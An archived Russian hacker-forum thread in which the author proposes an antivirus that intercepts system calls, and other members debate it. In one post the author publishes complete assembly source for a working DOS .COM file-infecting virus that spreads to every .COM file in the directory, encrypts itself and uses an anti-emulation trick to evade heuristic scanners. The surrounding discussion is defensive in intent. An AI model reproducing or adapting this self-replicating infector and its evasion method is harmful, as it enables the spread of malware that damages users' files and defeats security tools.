Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Новый антивирус, основанный на старых идеях

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> Новый антивирус, основанный на старых идеях
Имя
Сообщение << Старые топики   Новые топики >>
Новый антивирус, основанный на старых идеях - 2007-10-12 16:52:04.343333   
IncVisit0r

Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
Новый антивирус, основанный на старых идеях
===========================================
Начнем с рассмотрения того, как в общем и целом работают практически все современные антивирусы.
Обычно они содержат две основные части: сканер (проверяющий определенные объекты по запросу) и
резидентный модуль, контролирующий обращения к объектам, которые могут быть заражены и
проверяющий их "на лету". Никто, пожалуй, не станет отрицать, что проверка объектов резидентным
модулем в современных реалиях просто необходима. Но вот вопрос: КАК производится эта проверка?
Ответ: перехватывается обращение к потенциально зараженному модулю и производится его
сканирование, принципиально не отличающееся от сканирования того же модуля при проверке сканером,
и только потом к проверенному модулю разрешается доступ прикладным программам и операционной
системе. Это, естественно, отнимает время. В результате имеем следующую картину: пусть
пользователь запускает EXE-файл. Антивирус пытается его проверить: распаковать из под всех
известных ему упаковщиков, пробить эмулятором возможную шифровку полиморфика, и только потом
отдать истерзанный файл системе. Сразу бросается в глаза следующее:
1. Если файл упакован, то распаковка производится лишь для того, чтобы убедиться, что внутри не
скрывается вирус или троян, на нее в любом случае тратится время.
2. Если упаковщик неизвестен антивирусу, скорее всего, даже известный вирус под ним он не
обнаружит.
3. Если файл находится на носителе только-для-чтения (CD, CD-R), то в случае обнаружения вируса
антивирус заблокирует к нему доступ и зараженной программой невозможно будет воспользоваться.
Не лучше обстоят дела и при проверке сканером: антивирус пытается извлечь файлы из известных ему
архивов, что растягивает проверку на многие часы. То есть антивирусная безопасность оборачивается
нешуточной потерей времени.
Теперь задайте себе вопрос: вам важно знать, что на компьютере нет известных антивирусу вирусов В
ПРИНЦИПЕ или же достаточно того, чтобы вирус, даже если он и есть, никогда не получал управления
и не производил вредоносных действий? Если достаточно второго, тогда читайте дальше.
Во времена MS-DOS были относительно распространены блокировщики вирусов - маленькие резидентные
программы, которые реагировали на определенный штамм резидентного вируса и не позволяли ему
инсталироваться в память компьютера. После появления вируса Phantom-1, даже авторы DrWeb
выпустили сначала блокировщик, а уж потом полноценное противоядие. Вот принцип блокировщика мы и
положим в основу нового антивируса.
Не секрет, что прикладная программа, работающая в операционной системе защищенного режима, не
имеет прямого доступа к оборудованию. В то же время, любой программе (не только вирусу, червю или
трояну), нужно обращаться к сервисам операционной системы. Без этого ничего ни вредного, ни
полезного она сделать не сможет. Идея заключается в следующем: мы перехватываем системные вызовы
и кое-что делаем. Что же мы делаем? Проверяем код, сделавший системный вызов, на принадлежность к
вредоносному (просто читаем память процесса). Если сигнатура не обнаружена, то не делаем ничего,
а если обнаружена - патчим код вируса прямо в памяти, чтобы он сразу передавал управление
зараженной программе. Для троянца мы просто завершаем его процесс. Достоинства такого подхода:
1. Никаких проверок дисковых файлов, следовательно, никаких тормозов.
2. Если вирус начал использовать системные вызовы, то он наверняка уже расшифровался в памяти -
никакие эмуляторы нам не нужны.
3. Поскольку мы контролируем системные вызовы, мы можем не обращать никакого внимания на
упаковщики - просто ждать, пока все само собой распакуется.
4. Если мы хотим обнаруживать неизвестную заразу - проще простого - коллекционируем
последовательность системных вызовов и сравниваем с эвристической маской.
Естественно, к достоинствам прилагаются и недостатки. Например:
1. Файлы остаются зараженными, так что на незащищенной системе они могут вызвать инфекцию.
2. Сложно обнаруживать вирусы в скриптах, но это не недостаток технологии - изучив скриптовой
движок, можно перехватывать обращения к его функциям.
3. Если вирус все-таки прорвался в систему, а тем более, в нулевое кольцо (например, при помощи
драйвера) - приши пропало. С другой стороны: если такое произошло, то он может и винт через порты
отформатировать, причем другие антивирусы в этом случае тоже мало что могут сделать.
Если у кого-то есть идеи по поводу написанного, давайте это обсудим.
С уважением, Grand IncVisit0r.

Post #: 1
RE: Новый антивирус, основанный на старых идеях - 2007-10-12 17:21:52.050000   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
Ну… У тебя получается неплохо. Может напишешь книгу об этом =)
Post #: 2
RE: Новый антивирус, основанный на старых идеях - 2007-10-12 20:48:02.020000   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
Гы. А тормоза? при каждом системном вызове?
Post #: 3
RE: Новый антивирус, основанный на старых идеях - 2007-10-14 15:01:22.186666   
o_OBallers

Сообщений: 54
Оценки: 0
Присоединился: 2007-10-11 08:05:42.076666
Действтельно.
Post #: 4
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 10:26:56.483333   
IncVisit0r

Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
Речь идет не просто о тупом контроле за КАЖДЫМ системным вызовом, а об избирательном контроле. Если мы, изучив вирус, узнаем, что одной из первых функций он вызывает, допустим, GetVersion (имеется в виду Win32 вирус), то мы проверяем память процесса при вызове этой функции. При вызове других функций очевидно память на этот вирус проверять не надо. В конце концов, останется не так уж много функций, которые придется контролировать. Или кто-то считает, что проверить несколько байт памяти будет дольше, чем прочесывать программу эмулятором?
 
К тому же, как действовать антивирусу, если в полиморфный генератор, например, добавлено чтение данных из дискового файла, которые затем будут использоваться в качестве ключа? Что эмулировать дисковый ввод/вывод? А с рандомерами как?
Post #: 5
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 13:04:02.400000   
Sun_trop

Сообщений: 16
Оценки: 0
Присоединился: 2007-09-30 12:30:08.306666
Ну если создать такой анализ, который будет корректно генерировать и сравнивать цепочку вызовов с маской опасных вызовов то ок. Тут же еще надо суметь не заблокировать санкционированный процесс. Вот еще интересно, если к примеру загрузить обработчик прерываний вместо существующего, и включить в него вредоносный код, то хватит ли прав у твоего антивиря заблочить этот процесс?
Post #: 6
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 13:51:08.766666   
0v3r10rd

Сообщений: 211
Оценки: 0
Присоединился: 2007-06-28 18:47:52.503333
в этом мире нет нечего неуязвимого,просто держись рядом чтоб нас неповязали…
вообщем статья бум бум +1 апь))
Сложно обнаруживать вирусы в скриптах, но это не недостаток технологии - изучив скриптовой
движок, можно перехватывать обращения к его функциям.==очень интересно

Никаких проверок дисковых файлов, следовательно, никаких тормозов==>и следовательно проход для виря…
Post #: 7
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 15:13:54.063333   
IncVisit0r

Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
Проход для виря? А как это он, интересно, будет выполняться прямо из дискового файла, минуя оперативку? А насчет прав, так как это он будет перехватывать системные вызовы, не находясь в Ring0? Без драйвера никто и не думал обходиться. К тому же, если вирусу удалось заслать код в нулевое кольцо, чем тот же Каспер или Drweb поможет? Тут уж кто кого. А вот если вирус известен, мы просто не дадим ему поставить драйвер - всего делов то. Если кто-то поставит драйвер, минуя системные вызовы - всей системе безопасности ППЦ. Ну а если не сможет - что тогда копья ломать?
Post #: 8
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 16:48:26.720000   
IncVisit0r

Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
Чтобы не быть голословным, приведу один свой старый исходник. Вирь намеренно сделан тупым, чтобы без антиэвристики опознавался всеми кому не лень. Но стоит заразить этой дрянью .COM-файл, как большинство существующих антивирусов отказываются признавать в нем потенциально опасный код. Из комментариев, я надеюсь, станет ясно, почему. Кстати, если вместо эмулятора использовать перехват Int 21h, блокировщик легко блокирует вирус.
 
  code segment
  assume cs:code, ds:code, es:code, ss:code
  org 100h
Start:  jmp Real_Start  ;Переход на начало вируса
;——————————————————————————
; Сымитируем зараженный .COM
;——————————————————————————
  nop    ;Если этот байт равен 90h,
      ;код только скомпилирован,
      ;0AAh - мы уже в жертве
  mov ah, 9   ;Вывод сообщения и выход
  mov dx, OFFSET Copyright
  int 21h
  mov ax, 4C00h
  int 21h
Copyright db '!WARNING! WARNING! WANRING! WARNING! WARNING!', 13, 10
  db '———————————————', 13, 10
  db 'This file contains a non-resident .COM virus.', 13, 10
  db 'Probably all .COM files in current  directory', 13, 10
  db 'was infected! ', 13, 10
  db 13, 10
  db 'NAME:      Unknown', 13, 10
  db 'AUTHOR:    Grand IncVisit0r', 13, 10
  db 'DAMAGE:    NONE', 13, 10
  db 'NEW TECH:  Anti-Heuristical code', 13, 10
  db '———————————————', 13, 10
  db '$'
Real_Start: mov bp, word ptr [Start+1] ;Получим смещение вируса
  add bp, OFFSET(Start)+3
  mov ds, ds:[2Ch]  ;Найдем имя своего файла
  xor si, si
  cld
NameLookup: lodsw
  dec si
  or ax, ax
  jnz NameLookup
  lea dx, [si+3]
  mov ax, 3D00h  ;Открыть свой файл на чтение
  int 21h
  jc AwwHalt
  xchg bx, ax
  push cs   ;Восстановим DS
  pop ds
  lea si, [bp+FuncPos] ;Считаем первый байт - 0E9h
  mov dx, si
  mov ah, 3Fh
  mov cx, 1
  int 21h
  mov ah, 3Eh   ;Закроем файл
  int 21h
AwwHalt: mov ax, 4C00h  ;Это и есть СУПЕР-АНТИЭВРИСТИКА
FuncPos  equ $-Real_Start-1  ;… в понимании эмулятора
  int 21h   ;здесь программа завершается,
      ;а в нашем - просто вызов
      ;AX=0E900h/Int 21h
  mov al, 4Ch   ;Восстановим номер функции
  xchg byte ptr [si], al ;… и используем 0E9h как
      ;ключ
  cmp byte ptr [Start+3], 90h ;Тело зашифровано?
  je EncodedStart
  call DecodeEncode  ;Декодируемся
;——————————————————————————
; Отсюда начинается зашифрованный код. Если эмулятор не проэмулит чтение с
; диска, то он никогда не расшифрует этот код - правильный ключ читается из
; зараженного файла!
;——————————————————————————
EncodedStart: mov di, OFFSET Start ;Восстановим 4 байта жертвы
  push di
  lea si, [bp+OrigBytesPos]
  movsw
  movsw
  call InfectEmAll  ;Позаражаем все *.COM
  ret    ;Возврат в носитель
;——————————————————————————
; Основная процедура - она заражает файлы :)
;——————————————————————————
InfectEmAll proc
  push ds es
  mov ah, 2Fh
  int 21h   ;Сохраняем DTA
  push es bx
  mov ah, 1Ah   ;Ставим свою DTA
  lea dx, [bp+DTAPos]
  int 21h
  mov ah, 4Eh   ;Найти файлы *.COM
  lea dx, [bp+FileMaskPos]
FindNext: xor cx, cx
  int 21h
  jc NoMore
  lea dx, [bp+DTAPos+1Eh]
  call ProcessFile  ;Оприходовать файл
  mov ah, 4Fh   ;Следующий файл
  jmp FindNext
NoMore:  pop dx ds
  mov ah, 1Ah   ;Восстановить DTA
  int 21h
  pop es ds
  ret
InfectEmAll endp
;——————————————————————————
ProcessFile proc
  mov ax, 4301h  ;Сбросить Read-Only
  xor cx, cx   ;… даже если его нет :)
  int 21h
  jc SkipFile
  mov ax, 3D02h  ;Открываем файл для расправы
  int 21h
  jc SkipFile
  xchg bx, ax
  push dx
  call InfectOne  ;Заражаем файл
  mov ax, 5701h  ;Почему я не сохранял атрибуты,
      ;дату/время? Да они есть в DTA!
  mov cx, word ptr [bp+DTAPos+16h]
  mov dx, word ptr [bp+DTAPOs+18h]
  int 21h   ;Восстанавливаем дату
  mov ah, 3Eh   ;Закрываем файл
  int 21h
  pop dx
  mov ax, 4301h  ;Восстанавливаем атрибуты
  mov cl, byte ptr [bp+DTAPos+15h]
  xor ch, ch
  int 21h
SkipFile: ret
ProcessFile endp
;——————————————————————————
InfectOne proc
  lea dx, [bp+OrigBytesPos] ;Читаем 4 байта начала файла
  mov cx, 4
  mov ah, 3Fh
  int 21h
  jc SkipThisShit
  cmp ax, cx   ;Считалось 4 байта?
  jne SkipThisShit
  mov al, [bp+OrigBytesPos] ;Он часом не EXE?
  cmp al, 'M'
  je SkipThisShit
  cmp al, 'Z'
  je SkipThisShit
  mov al, [bp+OrigBytesPos+3] ;Не заражаем
  cmp al, 90h   ;… наш оригинал
  je SkipThisShit
  cmp al, 0AAh  ;… и все наши копии
  je SkipThisShit
  mov ax, 4202h  ;В конец файла
  xor cx, cx
  xor dx, dx
  int 21h
  jc SkipThisShit
  or dx, dx   ;.COM больше 64К - странно…
  jnz SkipThisShit
  cmp ah, 0F0h  ;Очень большой?
  ja SkipThisShit
  cmp ah, 1   ;Очень маленький? :)
  jb SkipThisShit
  sub ax, 3   ;Вычислим адрес перехода
  mov [bp+JmpCodePos+1], ax
  mov al, 0E9h  ;Команда JMP
  mov [bp+JmpCodePos], al
  mov byte ptr [bp+JmpCodePos+3], 0AAh
      ;Черная метка
  call EncodeWrite  ;Шифруемся и записываемся
  jc SkipThisShit
  mov ax, 4200h  ;Указатель в начало
  xor cx, cx
  xor dx, dx
  int 21h
  jc SkipThisShit
  lea dx, [bp+JmpCodePos] ;Записываем переход на себя
  mov cx, 4
  mov ah, 40h
  int 21h
SkipThisShit: ret
InfectOne endp
;——————————————————————————
FileMask db '*.COM', 0  ;Маска для поиска файлов
FileMaskPos equ FileMask-Real_Start
;——————————————————————————
; Процедура шифрования/дешифрования основного вирусного кода, AL - ключ
;——————————————————————————
DecodeEncode proc
  pushf
  lea si, [bp+EncodedStart-Real_Start]
  mov cx, DecodeEncode-EncodedStart
DecodeLoop: xor byte ptr [si], al
  xor byte ptr [si], cl
  inc si
  loop DecodeLoop
  popf
  ret
DecodeEncode endp
;——————————————————————————
; Шифрование вируса, запись и расшифровка. Ну пожалел я места на буфер…
;——————————————————————————
EncodeWrite proc
  call DecodeEncode  ;Шифрование
  push ax
  mov dx, bp
  mov cx, VirSize
  mov ah, 40h   ;Запись
  int 21h
  pop ax
  call DecodeEncode  ;Расшифровка
  ret
EncodeWrite endp
;——————————————————————————
; Данные вируса
;——————————————————————————
OrigBytes db 4 dup (90h)  ;Настоящее начало жертвы
OrigBytesPos equ OrigBytes-Real_Start
VirSize  equ $-Real_Start  ;Размер вирусного кода
JmpCode  db 4 dup (?)  ;Место под переход и метку
JmpCodePos equ $-Real_Start
DTA  db 43 dup (?)  ;Место под DTA
DTAPos  equ DTA-Real_Start
;——————————————————————————
; Конец вирусного кода
;——————————————————————————
  code ends
end  Start
Post #: 9
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 16:50:20.083333   
Sun_trop

Сообщений: 16
Оценки: 0
Присоединился: 2007-09-30 12:30:08.306666
т
Post #: 10
RE: Новый антивирус, основанный на старых идеях - 2007-10-15 17:36:30.573333   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
Чел, зря ты паришься. Описаный метод был известен ещё во времена доса, звался туннелингом. Щас под вин32 называется проактивная защита (кав6, оутпост, …) - регистрируется запись себя в авторан, влезание в чужое адресное пространство и тому подобная хрень. Вирусы конечно же тоже перехватывают апи - в этой области одна сторона очень быстро перехватывает оружие другой. Кстати, насколько я знаю, первыми начали перехватывать системные вызовы именно вирусы. В общем, почитай доки с васма, найдёшь для себя много интересного =)
Post #: 11
RE: Новый антивирус, основанный на старых идеях - 2007-10-17 10:37:16.873333   
IncVisit0r

Сообщений: 81
Оценки: 5
Присоединился: 2007-09-08 10:37:12.296666
Да я не парюсь :)
 
А насчет проактивной защиты: сейчас она используется для борьбы с НЕИЗВЕСТНОЙ заразой как последний рубеж обороны, засекающий подозрительные действия. А в описанном методе предлагается использовать перехват системных вызовов для борьбы с ИЗВЕСТНЫМИ вирусами и троянами. А если нравится глюкавый Каспер - пожалуйста, о вкусах я спорить не собираюсь.
Post #: 12
RE: Новый антивирус, основанный на старых идеях - 2007-10-17 16:20:55.303333   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
Всё равно, метод давно известен, так что патент тебе не светит =)
Post #: 13
RE: Новый антивирус, основанный на старых идеях - 2007-10-18 13:29:23.156666   
0v3r10rd

Сообщений: 211
Оценки: 0
Присоединился: 2007-06-28 18:47:52.503333
дело идёт в данной теме не овкусах использования какого- либо антивиря,дело в его надёжности и практичности [sm=sm203.gif]
Post #: 14
RE: Новый антивирус, основанный на старых идеях - 2007-10-18 13:43:56.016666   
Sun_trop

Сообщений: 16
Оценки: 0
Присоединился: 2007-09-30 12:30:08.306666
Помоему счас в антивирусах главное как они борятся с неизвестной заразой. Ведь если эффективно уничтожать не известный вирус то его не придется считать известным, отсюда не неужно создавать базы. Так что лучше подумать как боротся с не известностью) Эт просто моя мысль.
Post #: 15
RE: Новый антивирус, основанный на старых идеях - 2007-10-18 17:27:52.623333   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000

quote:

ORIGINAL: Sun_trop

Помоему счас в антивирусах главное как они борятся с неизвестной заразой.


Ну, не очень то у них это получаеццо =) Много ошибочных срабатываний. Ведь одна и та же прога (или алгоритм) может быть использована во имя как добрых, так и злых целей.
Post #: 16
RE: Новый антивирус, основанный на старых идеях - 2007-10-19 18:46:45.470000   
0v3r10rd

Сообщений: 211
Оценки: 0
Присоединился: 2007-06-28 18:47:52.503333
Инквизитор новый Касперский))
Post #: 17
Страниц:  [1]
Все форумы >> [Прочее] >> Новый антивирус, основанный на старых идеях







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.